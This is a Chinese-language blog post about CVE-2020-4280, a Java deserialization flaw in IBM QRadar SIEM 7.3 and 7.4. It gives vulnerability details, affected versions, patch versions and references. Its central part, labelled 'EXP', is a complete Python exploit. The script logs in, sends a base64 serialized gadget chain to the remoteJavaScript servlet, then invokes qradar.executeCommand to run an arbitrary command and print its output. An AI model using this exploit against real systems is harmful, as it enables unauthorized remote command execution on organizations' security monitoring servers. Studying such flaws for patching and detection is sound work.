IBM QRadar SIEM 反序列化代码执行

IBM QRadar SIEM 反序列化代码执行

0x00 前言

0x01 背景

IBM QRadar SIEM是美国IBM公司的一套利用安全智能保护资产和信息远离高级威胁的解决方案。该方案提供对整个IT架构范围进行监督、生成详细的数据访问和用户活动报告等功能。 IBM QRadar SIEM 7.3和7.4版本存在安全漏洞,攻击者可利用该漏洞在系统上执行任意命令,造成不安全的Java反序列化反序列化的用户提供内容的函数。通过发送一个恶意的序列化的Java对象,攻击者可利用该漏洞可以利用此漏洞执行任意命令。

0x02 漏洞详情

IBM QRadar SIEM可能允许远程攻击者在系统上执行任意命令,这是由Java反序列化功能对用户提供的内容进行不安全的反序列化引起的

**CVEID: **CVE-2020-4280
**说明: **由于Java反序列化功能对用户提供的内容进行了不安全的反序列化,IBM QRadar可能允许远程攻击者在系统上执行任意命令。通过发送恶意的序列化Java对象,攻击者可以利用此漏洞在系统上执行任意命令。
CVSS基本分数:6.3
CVSS时间分数:有关当前分数,请参阅:https : //exchange.xforce.ibmcloud.com/vulnerabilities/176140 。
CVSS向量:(CVSS:3.0 / AV:N / AC:L / PR:L / UI:N / S:U / C:L / I:L / A:L)

受影响的产品和版本

IBM QRadar SIEM 7.4.0 - 7.4.1 GA
IBM QRadar SIEM 7.3.0 - 7.3.3 Patch 4

https://gist.github.com/ykoster/90d3d13fe70c357ae93f5ddb3faee4f2

0x03 EXP

#!/usr/bin/env python3
import json
import random
import urllib3
import requests
import urllib.parse
   
base_url='https://127.0.0.1/'
username='admin'
password='initial'
verifycert=False
cmd='id'
   
gadget="""rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh
cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc30AAAABABRqYXZhLnV0aWwuQ29t
cGFyYXRvcnhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZh
L2xhbmc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H4AW3NxAH4AXwAAAAA/QAAAc3EAfgBbc3EAfgBfAAAAAD9AAABzcQB+AFtz
cQB+AF8AAAAAP0AAAHNxAH4AW3NxAH4AXwAAAAA/QAAAc3EAfgBbc3EAfgBfAAAAAD9AAABzcQB+
AFtzcQB+AF8AAAAAP0AAAHNxAH4AW3NxAH4AXwAAAAA/QAAAc3EAfgBbc3EAfgBfAAAAAD9AAABz
cQB+AFtzcQB+AF8AAAAAP0AAAHNxAH4AW3NxAH4AXwAAAAA/QAAAc3EAfgBbc3EAfgBfAAAAAD9A
AABzcQB+AFtzcQB+AF8AAAAAP0AAAHNxAH4AW3NxAH4AXwAAAAA/QAAAc3EAfgBbc3EAfgBfAAAA
AD9AAABzcQB+AFtzcQB+AF8AAAAAP0AAAHBweHEAfgBOcQB+ACB3BAAAAANzcgARamF2YS5sYW5n
LkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIA
AHhwAAAAAXEAfgCEeA=="""
   
if not verifycert:
   urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
   
response = requests.get(f'{base_url}console/',
      verify=verifycert, allow_redirects=False,
      auth=requests.auth.HTTPBasicAuth(username, password))
   
if response.status_code != 302:
   print(f"failed login as '{username}'")
   exit(1)
   
cookies = response.cookies
headers = {'SEC': cookies['SEC']}
   
call = {'method': 'qradar.validateChangesAssetConfiguration', 'QRadarCSRF': cookies['QRadarCSRF'],
      'id': f'{random.randint(0, 99999999)}',
      'params': {'changedSettings': urllib.parse.quote(gadget)} }
response = requests.post(f'{base_url}console/remoteJavaScript',
      verify=verifycert, cookies=cookies,
      headers=headers, data=json.dumps(call))
   
call = {'method': 'qradar.executeCommand', 'QRadarCSRF': cookies['QRadarCSRF'],
      'id': f'{random.randint(0, 99999999)}',
      'params': {'command': cmd, 'timeoutSeconds': '10'} }
response = requests.post(f'{base_url}console/remoteJavaScript',
      verify=verifycert, cookies=cookies,
      headers=headers, data=json.dumps(call))
   
try:
   result = json.loads(response.text)['result']
   if len(result['stdOut']) > 0:
      print(result['stdOut'])
   if len(result['stdErr']) > 0:
      print(result['stdErr'])
except:
   print(response.text)

0x04 修复措施

升级版本
QRadar / QRM / QVM / QRIF / QNI 7.4.1 Patch 1
QRadar / QRM / QVM / QRIF / QNI 7.3.3 Patch 5

0x05 references

https://www.ibm.com/support/pages/node/6344079
https://nvd.nist.gov/vuln/detail/CVE-2020-4280
https://testbnull.medium.com/cve-2020-4280-ibm-qradar-java-deserialization-anlysis-and-bypass-c3fe57207057
https://www.securify.nl/advisory/java-deserialization-vulnerability-in-qradar-remotejavascript-servlet

0x06 author DesM0nd

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值